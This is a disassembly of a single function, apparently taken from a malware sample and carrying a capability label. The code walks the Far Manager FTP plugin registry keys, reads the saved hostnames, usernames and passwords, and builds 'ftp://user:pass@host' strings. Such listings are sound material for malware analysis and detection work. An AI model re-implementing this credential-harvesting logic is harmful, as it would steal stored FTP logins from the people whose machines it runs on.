Function at 0x404830
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push ebx
push esi
push edi
push 0xc0c
push 8
push dword [0x4253c8]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
xor esi, esi
cmp edi, esi
mov dword [ebp - 0xc], edi
je 0x404aaa
lea eax, [ebp - 0xd4]
push eax
mov edx, str.SOFTWAREFarPlugins_ftphosts
call fcn.00405a2e
lea eax, [ebp - 0x118]
push eax
mov edx, str.SOFTWAREFar2Plugins_ftphosts
call fcn.00405a2e
pop ecx
pop ecx
lea eax, [ebp - 0xd4]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x118]
push 8
mov dword [ebp - 0x28], eax
push esi
lea eax, [ebp - 0x20]
push eax
call fcn.0040b963
lea eax, [ebp - 0x74]
push eax
mov edx, str.hostname
call fcn.00405a2e
lea eax, [ebp - 0x60]
push eax
mov edx, str.username
call fcn.00405a2e
lea eax, [ebp - 0x38]
push eax
mov edx, str.user
call fcn.00405a2e
lea eax, [ebp - 0x4c]
push eax
mov edx, str.password
call fcn.00405a2e
add esp, 0x10
add edi, 0x3fc
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x10], esi
mov ebx, 0xff
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
push 8
push esi
push dword [ebp + eax*4 - 0x2c]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404a7c
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x320]
push eax
mov dword [ebp - 0x14], esi
push esi
jmp 0x404a5b
mov edi, dword [ebp - 0xc]
inc dword [ebp - 0x14]
push ebx
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x320]
push eax
mov eax, dword [ebp - 8]
call fcn.0040875e
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x404a49
cmp eax, esi
jbe 0x404a49
push ebx
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x320]
push eax
mov eax, dword [ebp - 8]
add edi, 0x1fe
call fcn.0040875e
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x40497f
cmp eax, esi
ja 0x4049aa
push ebx
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x320]
push eax
mov eax, dword [ebp - 8]
call fcn.0040875e
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x404a49
cmp eax, esi
jbe 0x404a49
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x24]
push ecx
push 1
push esi
lea ecx, [ebp - 0x320]
push ecx
push eax
mov dword [ebp - 0x24], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4049e1
push ebx
push dword [ebp - 0x18]
lea eax, [ebp - 0x4c]
push esi
push eax
lea esi, [ebp - 0x24]
call fcn.0040872c
add esp, 0x10
xor esi, esi
jmp 0x4049e4
or eax, 0xffffffff
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x404a49
cmp eax, esi
jbe 0x404a49
mov edi, dword [ebp - 0x18]
call fcn.004047d5
test eax, eax
jle 0x404a49
lea eax, [ebp - 0x94]
push eax
mov edx, str.ftp:___s:_s__s_n
call fcn.00405a2e
mov eax, dword [ebp - 0xc]
push eax
mov ecx, edi
push ecx
add eax, 0x1fe
push eax
lea eax, [ebp - 0x94]
push eax
mov edx, 0x307
lea edi, [ecx + 0x1fe]
call fcn.0040bebf
add esp, 0x14
cmp eax, esi
jle 0x404a49
push edi
lea ecx, [ebp - 0x20]
call fcn.0040bad1
test al, al
pop ecx
je 0x404a49
inc dword [ebp - 0x1c]
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x320]
push eax
push dword [ebp - 0x14]
push dword [ebp - 8]
mov dword [ebp - 4], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x404925
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jb 0x4048ec
push dword [ebp - 0xc]
call fcn.0040b900
cmp dword [ebp - 0x1c], esi
pop ecx
jbe 0x404aa1
mov esi, dword [ebp - 0x20]
call fcn.004039e4
jmp 0x404aaa
push dword [ebp - 0x20]
call fcn.0040b900
pop ecx
pop edi
pop esi
pop ebx
leave
ret